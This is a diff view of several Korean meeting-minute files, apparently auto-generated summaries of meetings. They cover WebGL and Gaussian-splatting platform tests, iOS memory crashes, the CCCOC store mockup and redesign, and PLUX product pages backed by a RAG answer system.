- 참석자 2: 이미 서비스 중인 사례나 샘플 데모를 찾아보고, QA 팀에 URL을 전달하여 성능(초 단위 등) 및 작동 여부를 체크리스트로 확인 요청할 것을 제안.
|
||||
- 참석자 3: 가우시안 스플래팅 기반의 최적화된 프로젝트 샘플 3개를 찾아 전달하겠다고 답변.
|
||||
- **결론**: 논의 중 (플레이캔버스 및 베이비론 JS 등 기술 검토 필요)
|
||||
|
||||
### [CCCOC 프로젝트 개발 방향]
|
||||
- **현황**: CCOC 프로젝트의 1차 작업 기한은 19일까지이며, 현재 목업 단계임.
|
||||
- **핵급 논의**:
|
||||
- 참석자 4: 현옥 팀장이 만든 웹 기반 목업 형태를 공유할 예정이며, 상품 리스트가 나열된 단순한 구조임을 설명.
|
||||
- 참석자 2: 바이브 코딩을 활용하여 초기 구현을 진행하되, 데이터 업데이트(DB/로컬)를 위한 개별 코딩 및 구조 고민이 필요함을 강조.
|
||||
- **결론**: 논의 중 (목업 전달 후 구체적 개발 방식 결정)
|
||||
|
||||
### [가우시안 스플래팅 R&D 방향]
|
||||
- **현황**: 가우시안 스플래팅 기술을 기존 파노라마 방식에 적용하거나 새로운 무기로 사용할지 검토 중.
|
||||
- **핵심 논의**:
|
||||
- 참석자 3: 기존 파노라마 기술을 유지하면서 새로운 포맷으로 가져가는 방향 제안.
|
||||
- 참석자 2: 결과물의 퀄리티와 호환성에 따라 결정될 문제이며, 최종적인 평가가 필요함.
|
||||
- **결론**: 논의 중
|
||||
|
||||
## 2. 리스크 및 이슈
|
||||
* **iOS 메모리 부족**: 파일 압축 해제 시 메모리 점유로 인해 특정 기기에서 크래시 발생 가능성 있음.
|
||||
* **기술적 불확실성**: 베이비론 JS나 트리JS 등 선택한 플랫폼의 비주얼 툴 지원 여부 및 개발 편의성에 대한 검증이 필요함.
|
||||
|
||||
## 3. 결정 사항
|
||||
- **QA 테스트 요청**: 선정된 샘플 사이트(약 3개)를 QA 팀에 전달하여 기종별 성능 및 작동 여부를 체크할 것 — 근거: "QA 통해서 거기 돌아가는지를 체크해서 이 체크리스트 표를 만들어서... 확인해 달라고"
|
||||
- **CCCOC 목업 공유**: 개발 방향 설정을 위해 현옥 팀장의 목업 링크를 전달할 것 — 근거: "현옥 팀장이 목업 만든 거을 한번 전달드릴게요."
|
||||
|
||||
## 4. 오픈 이슈
|
||||
* 베이비론 JS(Babylon.js)의 비주얼 툴 지원 범위 및 활용 가능성 확인 필요.
|
||||
* CCCOC 프로젝트의 데이터 업데이트 방식(DB 연동 또는 로컬 입력)에 대한 구체적인 설계.
|
||||
|
||||
## 5. 액션 아이템
|
||||
| 담당 | 작업 내용 | 작업 상세 | 기한 | 상태 |
|
||||
| --- | --- | --- | --- | --- |
|
||||
| 참석자 3 | 웹GL 샘플 프로젝트 전달 | 플레이캔버스 기반의 가우시안 스플래팅 프로젝트를 포함하여, 검증 가능한 샘플 3개를 찾아 전달함. 근거: "가오샤스 플래트 프로젝트 2개하고 일반 프로젝트 하나 해서 3개 정도 전달드리고" | 기한미정 | 진행미정 |
|
||||
| 참석자 4 | CCOC 목업 링크 전달 | 현재 개발 중인 CCOC 프로젝트의 느낌을 파악할 수 있도록 현옥 팀장의 목업 링크를 공유함. 근거: "현옥 팀장이 목업 만든 거을 한번 전달드릴게요." | 기한미정 | 기한미정 |
|
||||
| 참석자 1/2 | 플랫폼 성능 테스트 및 조사 | 플레이캔버스 등 선정된 사이트의 작동 여부와 성능(초 단위)을 QA 팀을 통해 확인하도록 요청함. 근거: "QA 통해서 거기 돌아가는지를 체크해서... 초 같은 걸을 재는" | 기한미정 | 진행미정 |
|
||||
@@ -0,0 +1,52 @@
|
||||
# [회의록] 웹 기반 플랫폼 기술 검토 및 CCOC 프로젝트 진행 현황
|
||||
|
||||
## 1. 회의 개요
|
||||
- **일시**: 2026년 6월 16일 | 15:00
|
||||
- **참석자**: 김원일 PD, 송병준, 김상엽, 오경득, 전효주, 한예성, 현옥 팀장(참석자 4), 기타 개발/기획팀 인원
|
||||
- **회의 목적**: iOS 메모리 이슈 확인 및 웹GL 기반 플랫폼 기술 검토, CCOC 프로젝트 진행 상황 공유
|
||||
|
||||
## 2. 주요 결과 (Executive Summary)
|
||||
- **플랫폼 기술 검토**: 플레이 캔버스(PlayCanvas)를 포함하여 가우시안 스플래팅이 적용된 샘플 3종을 선정해 기기별 성능 및 호환성을 테스트하기로 함.
|
||||
- **기술적 대안 탐색**: Three.js 외에 Babylon.js의 활용 가능성과 비주적 접근성(Visual approach)을 확보할 수 있는 방안을 논의함.
|
||||
- **CCOC 프로젝트**: 현재 1차 목업 단계이며, 6월 19일까지 1차 작업을 진행하기로 함. 바이브 코딩(Vibe Coding)을 통한 초기 구현과 데이터 업데이트를 위한 개별 코딩 병행 전략을 검토 중임.
|
||||
- **향후 방향성**: 가우시안 스플래팅 기술의 결과물 품질에 따라 파노라마 방식 유지 또는 새로운 포맷 도입 여부를 결정할 예정임.
|
||||
|
||||
## 3. 결정 사항
|
||||
- **기술 테스트 샘플 선정** — 근거: "가오샤스 플래트 프로젝트 2개하고 일반 프로젝트 하나 해서 3개 정도 전달드리고... 3개 정도는 저희가 찾아가지고 한번 전달해 드리도록 하겠습니다."
|
||||
- **CCOC 1차 작업 일정 확정** — 근거: "지금 선규 님이 하고 계시고요. 19일까지 일단 1차를 하기로 했어요."
|
||||
|
||||
## 4. 논의 사항
|
||||
### [웹 기반 플랫폼 성능 및 호환성 검토]
|
||||
- **현황**: iOS 기기(특히 iOS 10, 17 등)에서 메모리 부족으로 인한 앱 크래시(Crash) 이슈 발생 가능성 확인.
|
||||
- **핵심 논의**:
|
||||
- 기존에 개발된 사례 중 낮은 사양의 기기에서도 잘 작동하는 샘플을 찾아 QA 팀에 전달하고, 이를 통해 성능 지표(초 단위 등)를 체크하여 최적화 방향을 결정하고자 함.
|
||||
- 플레이 캔버스(PlayCanvas)와 Babylon.js의 활용 가능성을 검토함. 특히 비주얼적인 접근이 용이한 도구를 찾는 것이 핵심임.
|
||||
- **추가 검토 필요**: 웹GL(WebGL) 환경에서의 최소 사양 파악 및 기기별 퍼포먼스 체크리스트 작성.
|
||||
|
||||
### [CCOC 프로젝트 구현 방식]
|
||||
- **현황**: 현재 바이브 코딩으로 제작된 목업이 존재하며, 웹 기반의 단순한 페이지 구성임.
|
||||
- **핵심 논의**:
|
||||
- 초기 구현은 바이브 코딩을 활용하되, 상품 리스트 등 지속적인 데이터 업데이트가 필요한 부분은 별도의 개별 코딩(데이터 연동)이 필요함.
|
||||
- UI 컨트롤 및 단순 이미지 나열 형태를 넘어선 복잡한 기능 구현 시의 개발 공정(Data handling/DB 연동)에 대한 고민이 필요함.
|
||||
- **추가 검토 필요**: 데이터 업데이트를 위한 구조 설계 및 기획자가 데이터를 직접 넣을 수 있는 방식에 대한 검토.
|
||||
|
||||
### [가우시안 스플래팅 기술 적용 방향]
|
||||
- **현황**: 가우시안 스플래팅(Gaussian Splatting) 기술을 활용한 R&D 진행 중.
|
||||
- **핵심 논의**:
|
||||
- 기존 파노라마 방식에서 벗어날지, 아니면 새로운 기술적 무기로 가져갈지는 결과물의 품질(호환성 및 비주으로 퀄리티)에 따라 결정해야 함.
|
||||
- **추가 검토 필요**: 최종 호환성 평가 및 기술 도입 여부 결정.
|
||||
|
||||
## 5. 리스크 및 검토 사항
|
||||
| 리스크 | 영향도 | 대응 방안 |
|
||||
| --- | --- | --- |
|
||||
| iOS 기기 메모리 부족 이슈 | 높음 (앱 실행 불가) | 플레이 캔버스 등 포맷 최적화 및 압축 파일 해제 시 메모리 사용량 관리 |
|
||||
| 기술 검증의 불확실성 | 중간 (개발 방향 혼선) | 샘플 사이트 3종을 통한 기기별 성능 테스트 및 QA 체크리스트 작성 |
|
||||
| 데이터 업데이트 공정 복잡도 | 중간 (개발 비용 증가) | 초기 구현은 바이브 코딩으로 진행하되, 데이터 연동 부분만 개별 코딩하는 전략 수립 |
|
||||
|
||||
## 6. 액션 아이템
|
||||
| 담당 | 작업 내용 | 작업 상세 | 기한 | 상태 |
|
||||
| --- | --- | --- | --- | --- |
|
||||
| 월드팀 (참석자 3) | 테스트용 샘플 3종 전달 | 가우시안 스플래팅 적용 프로젝트 및 최적화 오브젝트가 포함된 샘플 3개를 선정하여 전달함. 근거: "3개 정도는 저희가 찾아가지고 한번 전달해 드리도록 하겠습니다." | 기한미정 | 진행미정 |
|
||||
| 개발팀 (참석자 1) | iOS 메모리 이슈 테스트 | iOS 특정 버전(10, 17 등)에서 파일 압축 해제 시 발생하는 메모리 문제를 확인하기 위해 URL을 통한 테스트 수행. 근거: "그거에서 한번 보면은 이게 또 10일이나 17에서 터지는지 한번 확인해 보시면 될 것 같아." | 기한미정 | 진행미정 |
|
||||
| 현옥 팀장 (참석자 4) | CCOC 목업 링크 전달 | 현재 바이브 코딩으로 제작된 목업의 느낌을 파악할 수 있도록 링크를 공유함. 근근거: "현옥 팀장이 바이브 코딩으로 목금 만든 게 있긴 한데... 목업 링크 전달해 주면 될 것 같아요." | 기한미정 | 진행미정 |
|
||||
| QA/개발팀 (참석자 2) | 플랫폼 성능 평가 | 선정된 샘플들을 대상으로 기기별 퍼포먼스(초 단위 등)를 체크하고 체크리스트 작성. 근근거: "QA 통해서 거기 돌아가는지를 체크해서 그 체크리스트 표를 만들어서... 초를 좀 재는 다음에" | 기한미정 | 진행미정 |
|
||||
@@ -0,0 +1,52 @@
|
||||
# [CCCOC 매장 디자인 변경 및 서비스 기능 수정 관련 회의]
|
||||
|
||||
## 1. 회의 개요
|
||||
- **일시**: 2026년 06월 17일 | 14:00
|
||||
- **참석자**: 참석자 1, 참석자 2, 참석자 3, 참석자 4, 참석자 5, 참석자 6, 참석자 7, 참석자 8, 참석자 9, 참석자 10, 참석자 11, 참석자 12, 참석자 13, 참석자 2, 김원일PD, 오경득팀장, 강성규, 김상엽팀장, 박진규, 전효주, 정현욱팀장, 김태현 팀장, 류동렬, 동열 님, 송 팀장
|
||||
- **회의 목적**: CCCOC 매장 디자인 변경, 서비스 기능 수정(배너 클릭 시 바로 시작하기 등), 롯데온 연동 방식 및 개발 범위에 대한 논의
|
||||
|
||||
## 2. 주요 결과 (Executive Summary)
|
||||
- CCCOC 매장 스타일 반영을 위한 디자인 및 영상 톤 세련화 추진
|
||||
- 기존 브랜드 입점 정보/뉴스레터 기능을 삭제하고 디프트와 AI 디프트 큐레이터로 카테고리 단순화 결정
|
||||
- 장바구니 연동 시 회원 인증 문제로 인한 높은 개발 작업 부담 확인
|
||||
- 캐릭터의 현재 상태를 유지하며 배경 인테리어를 알록달록한 스타일로 변경하는 방향 논의
|
||||
|
||||
## 3. 결정 사항
|
||||
- **카테고리 구성 및 운영 방식 변경** — 근거: "카테리는 그대로 가져가도 될 것 같습니다." (기존 키친, 라이트, 푸드 체제 유지하되 세부 상품은 CCCOC 집기 바탕으로 정리)
|
||||
- **캐릭터 디자인 유지** — 근거: "캐릭터는 이 상태를 지금 이 상태를 만족하고 있으니까" (현재 캐릭터의 긍정적 반응을 고려하여 현 상태 유지)
|
||||
|
||||
## 4. 액션 아이템
|
||||
| 담당 | 작업 내용 | 작업 상세 | 산출물 | 기한 | 상태 |
|
||||
| --- | --- | --- | --- | --- | --- |
|
||||
| 참석자 7 | CCCOC 집기 기반 카테고리 정리 | 이번 주 내로 CCCOC로부터 집기를 받아 세부 상품 카제거리를 정리함 근거: "세부 상품들을 저희가 이번 주 내로 ccoc에서 집을 받아서 정리를 할 거여서" | 확인 필요 | 이번 주 내 | 확정 |
|
||||
| 참석자 2 | 디자인 시안 제작 및 공유 | 변경된 디자인 안을 제작하여 커뮤니케이션 채널에 공유하고 컨펌을 요청함 근거: "저희가 한번 안을 한번 해서 만들어보고... 컨펌하시는 게 좋을 것 같습니다." | 디자인 시안 | 확인 필요 | 기한미정 |
|
||||
| 참석자 4 | 개발팀 미팅 어렌지 | 롯데온 연동 관련하여 개발팀과 일정 조율 및 미팅을 진행함 근거: "매업 하면 개발 쪽이랑 일정 잡는 게 제일 급하겠네요." | 확인 필요 | 차주 중 | 확정 |
|
||||
| 참석자 8 | AI 큐레이터 기술 검토 | AI 큐레이터 구현을 위해 프롬프트와 파일 스토리지 준비 등 기술적 가능 여부를 확인함 근거: "이 프로셋 보시고 기술 검토를 좀 일단 좀 해 주시고요." | 기술 검토서 | 확인 필요 | 진행미정 |
|
||||
| 참석자 1, 6 | 노원점 매장 사진 촬영 | 최신 데이터 확보를 위해 노원점을 방문하여 고해상도 사진을 촬영함 근거: "핸드e폰 사진이라도 찍어오는 게 낫 않을까 하는 생각은 좀 들거든요." | 고해상도 사진 | 확인 필요 | 기한미정 |
|
||||
| 참석자 1 | 테스트 버전 제작 방식 결정 | 송 팀장과 협의하여 상단/하단(푸터) 유지 여부 등 테스트 버전을 제작함 근거: "내일 탑이랑 쿠터 저쪽만 송 팀장이랑 얘기하면 될 것 같긴 해요." | 테스트 버전 | 내일 | 확정 |
|
||||
| 참석자 1 | 현장 촬영 진행 요청 | 지정된 날짜에 맞춰 상품 상태 확인을 위한 촬영을 진행함 근거: "아무튼 날짜만 좀 맞춰서 한번 찍어 오시면 좋을 것 같습니다." | 확인 필요 | 확인 필요 | 기한미정 |
|
||||
|
||||
## 5. 오픈 이슈
|
||||
- 디자인 변경 사항 및 영상 작업에 대한 개발 조직과의 미팅 후 디파인(Define) 진행 여부
|
||||
- 상품 리스트 데이터 업데이트 방식 결정 (API 연동 vs 수동 운영 툴 제공)
|
||||
- 상단/하단(푸터) 유지 여부 및 뒤로 가기 등 예외 케이스에 대한 기술적 검토
|
||||
|
||||
## 6. 리스크 및 검토 사항
|
||||
| 리스크 | 영향 | 대응 방안 |
|
||||
| --- | --- | --- |
|
||||
| 장바구니 연동 개발 부담 | 회원 인증 연동으로 인해 개발 작업 규모가 매우 커질 수 있음 | 개발 범위 및 일정 조율 필요 |
|
||||
| 디자인 이질감 발생 | 배경 디자인이 실사/알록달록한 스타일로 변경될 경우 기존 캐릭터와 충돌 가능성 있음 | 영상 및 전반적인 톤을 세련된 느낌으로 일치화 작업 수행 |
|
||||
| 데이터 연동 보안/트래픽 리스크 | 브라우저 직접 호출 시 보안 리스크 및 서버 경유 시 네트워크 트래픽 이슈 발생 가능 | 브라우저 직접 호출과 서버 경유 방식 중 적절한 방식 검토 필요 |
|
||||
|
||||
## 7. 논의 사항
|
||||
**[서비스 기능 및 디자인 변경]**
|
||||
- 서비스 진입 단계 축소를 위해 배너 클릭 시 바로 메인 화면으로 이동하도록 수정 예정
|
||||
- 브랜드 입점 정보 및 뉴스레터 기능을 삭제하고 디프트/AI 디프트 큐레이터로 카테고리 단순화 추진
|
||||
- 영상 제작 시 스틸 이미지 작업과 전체적인 톤(파스텔톤 등)을 일치시켜야 함
|
||||
|
||||
**[롯데온 연동 방식]**
|
||||
- 롯데온 협업 시 배너 클릭 → 상품 페이지 연결 → 롯데온 연결로 이어지는 기존 방식 적용 검토
|
||||
|
||||
**[콘텐츠 제작 및 촬영]**
|
||||
- 매장 사진 촬영을 위해 노원점 방문 및 최신 데이터 확보 필요성 논의
|
||||
- 캐릭터 뒤 배경을 알록달록한 인테리어로 변경하는 방안 논의
|
||||
@@ -0,0 +1,64 @@
|
||||
# [회의록] PLUX 제품군 상세 페이지 및 AI 답변 시스템 운영 방식 논의
|
||||
|
||||
## 1. 회의 개요
|
||||
- **일시**: 확인 불가
|
||||
- **참석자**: 김원일 이사(PD), 오경득 팀장, 김성회, 김상엽 팀장, 송병준 팀장, 전효주 팀장, 정현욱 팀장, 김태현 팀장, 참석자 1, 참석자 2, 참석자 3, 참석자 4, 참석자 5, 참석자 6, 참석자 7, 참석자 8, 참석자 9, 동열 님, 효희 팀장
|
||||
- **회의 목적**: PLUX 제품군(냉동고, 건조기 등) 상세 페이지 수정 사항 검토 및 AI 답변 시스템(RAG/LLM) 운영 방식 논의
|
||||
|
||||
## 2. 주요 결과 (Executive Summary)
|
||||
- 냉동고 페이지 특정 섹션 삭제 및 텍스트 수정 확정
|
||||
- AI 호출 시 클라이언트와 파일명을 동일하게 유지하는 것을 최우선 원칙으로 설정
|
||||
- 드라이기 제외 후 레이아웃 재배치 및 청소기 위치 조정 결정
|
||||
- 제품 명칭(냉동/냉장 도어 포키 등)의 통일성 있는 수정 작업 진행 합의
|
||||
- 추가 요청이 없는 한 기존 문구 및 영문/중문 번역본은 유지하기로 결정
|
||||
|
||||
## 3. 결정 사항
|
||||
- **냉동고 페이지 수정** — 근거: "이 페이지 삭제하고 텍스트 이렇게 이렇게"
|
||||
- **AI 시스템 파일명 매칭 원칙 수립** — 근거: "클라이언트와 올라가는 파일의 파일명이 똑같아야 한다."
|
||||
- **신규 이미지 생성 방향** — 근거: "추가 이미지 2개 더 만드는 걸로"
|
||||
- **레이아웃 재배치** — 근거: "드라이기 제외 후 왼쪽 청소기 위치 조정 및 레이아웃 재배치... 진행하기로 함"
|
||||
- **제품 명칭 통일** — 근거: "명칭(냉동 도어 포켓, 냉장 도어 포켓 등)을 통일성 있게 수정하고 문구를 맞추는 방향으로 작업 진행"
|
||||
- **기존 번역 및 문구 유지** — 근거: "추가 요청이 없는 한 기존 문구 및 번호(영문/중문)는 변경하지 않음"
|
||||
- **미니 건조기 명칭 유지** — 근거: "'컴팩트 드라이어' 명칭은 유지하되 하단 설명은 수정하지 않기로 함"
|
||||
|
||||
## 4. 액션 아이템
|
||||
| 담당 | 작업 내용 | 작업 상세 | 산출물 | 기한 | 상태 |
|
||||
| --- | --- | --- | --- | --- | --- |
|
||||
| 효희 팀장 | UI 텍스트 수정 | 제품 페이지 내 문구 수정 작업 수행 근거: "이거는 효희 팀장이 수정해 줄 거예요." | 확인 필요 | 확인 필요 | 기한미정 |
|
||||
| 참석자 1 | 냉동고 이미지 범위 확인 | 이미지 전체 교체 건인지 텍스트만 변경하는 것인지 의도 파악 근거: "이미지를 이 통째로 바꿔달라 아니면... 확인을 좀 해봐야 될 것 같은데요." | 확인 필요 | 확인 필요 | 진행미정 |
|
||||
| 참석자 3/6 | 하이마트 문의 | 제품 제외 및 신규 모델 노출 관련하여 하이마트 담당자에게 확인 근거: "제가 지금 하이마트 담당자라고 한번 그냥 비기를 해볼게요. ... 물어볼게요." | 확인 필요 | 확인 필요 | 진행미정 |
|
||||
| 참석자 10 | 레이아웃 재배치 작업 | 드라이기 제외에 따른 청소기 위치 조정 및 랜더링 작업 수행 근거: "드라이기 제외 후 레이아웃 재배치 및 랜더링 작업" | 수정된 페이지 | 확인 필요 | 기한미정 |
|
||||
| 참석자 1 | 시스템 구조 및 버튼 분리 검토 | 시스템 구조상 버튼/세트 분리 가능 여부 기술적 검토 근거: "이번에 한번 확인해 볼게요. 이제 시스템이 그렇게 돼 있는지" | 확인 필요 | 확인/확인 필요 | 진행미정 |
|
||||
| 참석자 1 | UI 수정 히스토리 파악 | 이전 UI 수정 이력 및 히스토리 추적 근거: "그 히스토리로 한번 찾아봐야 될 것 같아" | 확인 필요 | 확인 필요 | 기한미정 |
|
||||
| 참석자 6 | 드라이어 문구 문의 | 드라이어 관련 문구 수정 건에 대해 담당자에게 문의 진행 근거: "드라이어는 문의를 하고 그다음에 나머지 부분들은 문구하고" | 확인 필요 | 확인 필요 | 기한미정 |
|
||||
| 참석자 1 | 파노라마 슬라이스 테스트 | 파노라마 슬라이스 프로그램의 적용 가능 여부 검토 근거: "그거는 한번 테스트를 좀 해볼게요." | 확인 필요 | 확인 필요 | 기한미정 |
|
||||
| 참석자 6 | 제품별 수정 요청 취합 | 냉장고, 냉동고 등 제품별 수정 사항을 모아서 확인 근거: "냉장고 담당 냉동고 담당 누구 누구... 취합해서 봐도 돼." | 확인 필요 | 확인 필요 | 기한미정 |
|
||||
|
||||
## 5. 오픈 이슈
|
||||
- AI 답변 정확도를 위한 제품 ID와 파일명 일치 여부 및 기술적 구현 방식 (Chroma DB 활용 등)
|
||||
- 제품 명칭 수정 시 영문/한자 등 다국어 영역의 작업 범위 확정
|
||||
- 드라이기 제외 시 레이아웃 재배치에 따른 추가 작업 공정 발생 가능성
|
||||
|
||||
## 6. 리스크 및 검토 사항
|
||||
| 리스크 | 영향 | 대응 방안 |
|
||||
| --- | --- | --- |
|
||||
| 모델명 변경 시 서버/클라이언트 수정 | 모델명 변경 시 서버 패치 및 클라이언트 코드 수정이 동반되어야 함 | 클라이언트 호출 방식을 제품 키 기준으로 일치시켜 패치 최소화 |
|
||||
| 서버 업데이트 시 타 서비스 장애 | 서버 업데이트 시 연결된 다른 서비스(스포트 어닛 등)에 장애 발생 가능성 있음 | 주의 깊은 업데이트 프로세스 필요 |
|
||||
| 작업량 과다로 인한 일정 차질 | 수정 작업량이 많아 다음 주 수요일 완료가 불가능할 것으로 예상됨 | 우선순위 설정 및 범위 조정 검토 |
|
||||
| 시스템 구조적 제약 | 개별 요소를 단독으로 변경할 수 없어 세트로 크기가 조절되는 구조임 | 기술적 구현 가능성 사전 확인 필요 |
|
||||
| 이미지 해상도 차이 | 이미지 적용 시 해상도 차이로 인해 UI가 깨지거나 달라질 우려 있음 | 적정 해상도 가이드 준수 및 테스트 필요 |
|
||||
|
||||
## 7. 논의 사항
|
||||
**[AI 답변 시스템 운영 방식]**
|
||||
- 현재 구글 파일 스토리지 기반 인베딩 처리 중
|
||||
- AI 답변 정확도를 위해 PDF 파일명, 제품 ID, 클라이언트 호출 정보가 모두 일치해야 함을 강조
|
||||
|
||||
**[제품 상세 페이지 구성 및 디자인]**
|
||||
- 상세 내용을 한 페이지에 담기 어려워 페이지 분리 구성 계획
|
||||
- 기존 이미지를 활용하기보다 새로운 디자인의 페이지를 생성하는 방안 논의
|
||||
- 드라이기 모델 단종 처리 시 '상품 준비 중' 표시로 클릭을 제한하는 효율적 방안 검토
|
||||
|
||||
**[UI/UX 수정 및 기술적 구현]**
|
||||
- 버튼 표시 방식(줄 긋기 등) 변경에 대한 기술적 구현 가능성 및 업무 범위 확대 우려
|
||||
- 제품 명칭 수정 시 다국어(영문, 한자 등) 영역까지의 작업 부담 논의
|
||||
- 파노라마 이미지 슬라이스 구현을 위한 개발팀의 기술적 지원 여부 확인 필요
|
||||
Reference in New Issue
Block a user